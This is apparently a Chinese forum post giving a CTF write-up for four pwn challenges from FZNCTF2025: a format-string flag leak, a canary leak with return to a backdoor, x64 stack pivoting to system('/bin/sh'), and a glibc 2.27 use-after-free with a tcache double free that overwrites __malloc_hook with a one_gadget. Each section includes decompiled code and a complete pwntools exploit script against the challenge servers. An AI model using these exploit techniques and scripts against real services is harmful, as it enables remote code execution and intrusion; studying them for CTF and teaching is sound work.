找回密码
 立即注册

FZNCTF2025-PWN-WP

巴沛若 2025-11-11 21:44

FZNCTF-Langx-PWN-WP

fmt

格式化字符串漏洞

[code]int __fastcall main(int argc, const char **argv, const char **envp) { int fd; // [rsp+4h] [rbp-24Ch] char buf[48]; // [rsp+10h] [rbp-240h] BYREF char format[520]; // [rsp+40h] [rbp-210h] BYREF unsigned __int64 v7; // [rsp+248h] [rbp-8h] v7 = __readfsqword(0x28u); init_func(argc, argv, envp); puts("Welcome to FZNCTF!"); puts("lizimi is waiting for you..."); puts("what do you want to say to him?"); puts("please input:"); fd = open("flag", 0); if ( fd == -1 ) { perror("open flag failed"); exit(1); } read(fd, buf, 0x30uLL); close(fd); read(0, format, 0x200uLL); printf(format); return 0; } [/code]

程序首先会打开flag文件并读到栈上,本地调试可知偏移为7(64位格式化字符串)

exp:

[code]from pwn import * #p = process("./attachment") p = remote("nc1.ctfplus.cn",11882) context.log_level = 'debug' #gdb.attach(p) p.recvuntil("please input:") p1 = b'%7$s' p.sendline(p1) p.interactive() [/code]

bird

开了金丝雀(canary)

1762859739504

分析关键函数

[code]unsigned int vuln() { int i; // [esp+4h] [ebp-74h] char buf[100]; // [esp+8h] [ebp-70h] BYREF unsigned int v3; // [esp+6Ch] [ebp-Ch] v3 = __readgsdword(0x14u); puts("What a cute canary!!!!!"); puts("Maybe the canary is a string of numbers?"); puts("Can you guess the number?"); for ( i = 0; i <= 1; ++i ) { read(0, buf, 0x200u); printf("number %s", buf); if ( !strncmp(buf, "114514", 6u) ) //ctf经典数字 Right(); //没有什么用 } return __readgsdword(0x14u) ^ v3; } [/code]

printf("number %s", buf);这一步我们可以泄露canary

泄露canary直接返回到后门getshell

exp:

[code]from pwn import* #p = process("./canary") p = remote("nc1.ctfplus.cn",27529) context.log_level = 'debug' psl = lambda data :p.sendline(data) ps = lambda data : p.send(data) ph = lambda data : print(hex(data)) pc = lambda data : p.recvuntil(data) def bug(): gdb.attach(p) pause() def exp(): pc("Can you guess the number?") offest = 0x70 -0xc p0 = b'a'*offest #bug() psl(p0)#sendline多发送一个0xa-->'\n' shell = 0x8049285 p.recvuntil(b'a'*offest) canary = u32(p.recv(4)) -0xa #所以这里直接减去0xa即可,因为canary最后一个字节也是00所以不用管 psl(b'a'*offest + p32(canary)+b'a'*0xC+p32(shell)) #getshell p.interactive() exp() [/code]

stack_pivotingx64

[code]ssize_t vuln() { char buf[48]; // [rsp+0h] [rbp-30h] BYREF puts("now let's start to play!\n"); puts("please give me your name\n"); read(0, buf, 0x50uLL); printf("your name is %s\n", buf); puts("give me some other message\n"); return read(0, buf, 0x50uLL); } [/code]

程序存在栈溢出,但溢出长度不够,直接打栈迁移

[code]printf("your name is %s\n", buf); [/code]

这一步泄露rbp地址,然后提前在栈中布置我们的rop链,存在堆栈不平衡加个ret,后面直接栈迁移

exp:

[code]from pwn import* a=input("yes is process ,no is remote:") if "y" in a: p = process("./stack_pivotingx64") elif "n" in a: p =remote("nc1.ctfplus.cn",19747) context.log_level = 'debug' psl = lambda data :p.sendline(data) ps = lambda data : p.send(data) ph = lambda data : print(hex(data)) pc = lambda data : p.recvuntil(data) def bug(): gdb.attach(p) pause() def exp(): rdi=0x0000000000401275 system = 0x40126a magic = 0x401256 pc("please give me your name\n") p0 = b'a'*0x30 ps(p0) pc(b'a'*0x30) rbp = u64(p.recv(6)[-6::].ljust(8,b'\x00'))-0x10 rsp = rbp-0x30 binsh =rsp+32 ph(rbp) #bug() p1=p64(0)+p64(rdi)+p64(binsh)+p64(system)+b'/bin/sh\x00'+p64(magic+1)+p64(rsp)+p64(magic) #magic+1为ret pc("give me some other message\n") ps(p1) p.interactive() exp() [/code]

ezuaf

保护全开

1762859757563

存在uaf,不存在栈溢出

[code]int del() { int v0; // eax void *v1; // rdi puts("idx?"); v0 = get_int(); if ( v0 < 0 ) return puts("invalid"); if ( num <= v0 ) return puts("invalid"); v1 = (void *)heap[v0]; if ( !v1 ) return puts("invalid"); free(v1);//指针未置零 return puts("delete done"); } [/code] [code]int show() { int v0; // eax __int64 v1; // rbx puts("idx?"); v0 = get_int(); if ( v0 < 0 ) return puts("invalid"); if ( num <= v0 ) return puts("invalid"); v1 = v0; if ( !heap[v0] ) return puts("invalid"); write(1, "content: ", 9uLL); write(1, (const void *)heap[v1], sizes[v1]); return write(1, "\n", 1uLL); } [/code]

思路:先释放0x400的chunk挂进unsortedbin,通过uaf+show计算出libc基地址,打tcache_double_free,将malloc_hook填为one_gadget,用realloc来调节栈帧getshell

exp:

[code]from pwn import* a=input("yes is process ,no is remote:") if "y" in a: p = process("./pwn") elif "n" in a: p =remote("nc1.ctfplus.cn",31004) e = ELF("./pwn") libc = ELF("./libc-2.27.so") context.log_level = 'debug' psl = lambda data :p.sendline(data) ps = lambda data : p.send(data) ph = lambda data : print(hex(data)) pc = lambda data : p.recvuntil(data) uu64 = lambda : u64(pc(b'\x7f')[-6::].ljust(8,b'\x00')) def bug(): gdb.attach(p) pause() def cmd(choice): pc("5. exit") psl(str(choice)) def add(size,content): cmd(1) pc("size?") psl(str(size)) pc("content:") psl(content) def delete(idx): cmd(2) pc("idx?") psl(str(idx)) def show(idx): cmd(3) pc("idx?") psl(str(idx)) def edit(idx,content): cmd(4) pc("idx?") psl(str(idx)) pc("content:") ps(content) def exp(i): add(0x410,b'jian')#0 add(0x410,b'1angx')#1 delete(0) show(0) malloc_hook = uu64()-0X70 base = malloc_hook - libc.sym['__malloc_hook'] realloc = base + libc.sym['realloc'] realloc_hook = malloc_hook -0x8 ogg_offest = [0x4f29e,0x4f2a5,0x4f302,0x10a2fc] ogg = base +ogg_offest[0] ph(base) add(0x40,b'1angx')#2 delete(2) p1= b'a'*8+p64(0x114514) edit(2,p1) delete(2) edit(2,p64(realloc_hook)) add(0x40,b'1angx') #bug() add(0x40,p64(ogg)+p64(realloc+i)) cmd(1) pc("size?") psl(str(0x10)) p.interactive() exp(2) [/code]
来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

路过

雷人

握手

鲜花

鸡蛋
文章点评
学习中心
站长自定义文字内容,利用碎片时间,随时随地获取优质内容。